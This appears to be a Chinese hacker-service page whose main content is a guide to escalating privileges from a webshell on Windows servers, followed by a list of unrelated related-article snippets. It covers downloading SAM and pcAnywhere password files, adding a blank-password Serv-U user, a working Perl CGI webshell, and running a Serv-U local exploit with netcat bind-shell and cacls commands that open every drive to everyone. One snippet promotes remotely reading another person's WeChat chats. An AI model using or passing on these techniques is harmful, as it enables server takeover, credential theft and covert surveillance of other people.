求黑客高手qq联系方式推荐接单的黑客 *** 号码
当我们取得一个webshell时候，下一部要做的就是提升权限
个人总结如下：
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳转到这个目录，如果行那就更好了，直接下它的CIF文件，得到pcAnywhere密码，登陆
2.C:\WINNT\system32\config进这里下它的SAM，破解用户的密码
用到破解sam密码的软件有LC，SAMinside
3.C:\Documents and Settings\All Users\「开始」菜单\程序 看这里能跳转不，我们从这里可以获取好多有用的信息
可以看见好多快捷方式，我们一般选择Serv-U的，然后本地查看属性，知道路径后，看能否跳转
进去后，如果有权限修改ServUDaemon.ini，加个用户上去，密码为空
[USER=WekweN|1]
Password=
HomeDir=c:TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有更高权限，然后我们就可以ftp上去 quote site exec xxx 来提升权限
4.c:\winnt\system32\inetsrv\data就是这个目录，同样是erveryone 完全控制，我们所要做的就是把提升权限的工具上传上去，然后执行
5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel，有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cgi执行,
如果不行，可以试试 pl 扩展呢，把刚才的 cgi 文件改为 pl 文件，提交 http://anyhost//cmd.pl?dir
显示"拒绝访问"，表示可以执行了！马上提交：先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回：
Serv-u >3.x Local Exploit by xiaolu
USAGE: serv-u.exe "command"
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限，提交：
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
相关文章
无产阶级包括哪些人群(无产阶级包括农民阶级吗)
精确了解马克思主义的“工人阶级”定义 在马克思主义的思想体系中，工人阶级是最改革的资产阶级。殊不知，伴随着关键资产阶级我国的褔利改革创新和接着的消费社会，一些西方国家专家学者觉得马克思主义的资...
手动删除微信的信息能找回吗
微信备份的聊天记录怎么查看?随着时代的进步,大家更换新手机的速度也越来越快,换手机很简单,但随之而来的问题就是数。 微信聊天记录备份?微信是大家都熟知的一款社交工具,但对于怎么恢复误删的微信数据,很多...
什么软件可以同步接收微信（远程查看对方微信聊天记录）
用什么软件能够同歩接收微信（远程控制查询另一方微信聊天纪录） 开启微信，发觉另一方能够点一下它，看微信微信聊天记录 查询另一方的微信微信聊天记录，仅有登陆到我微信才可以查看。 假如另一方删除了...
手机百度怎么清除浏览记录？三步清除
我们在互联网上搜索东西的时候，经常需要使用百度搜索，也感觉很方便。但是，有些本是很好的设计我们并不是每次都需要，比如那个搜索记录。每次在搜索前面相同文字时，在百度搜索栏下面都会出现搜索历史记录，这让我...
声名鹊起的意思（一场大战令它声名鹊起）
世界上高寿的老虎之一，活了20年，一场大战令它声名鹊起 老虎是站在食物链顶端的一种生物，也是猫科动物中体型最大的，现存6个老虎亚种里面，孟加拉虎的数量最多，不过也不是很乐观，全世界的野生孟加拉虎大约...
央视网评：赖小民被执瑞凰行死刑 彰显严惩腐败的决
经最高人民法院核准，2021年1月29日上午，天津市第二中级人民法院依照法定程序对赖小民执行了死刑。 作为党员领导干部，赖小民理想信念完全丧失，党性原则荡然无存，擅权妄为、腐化堕落、道德败坏...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！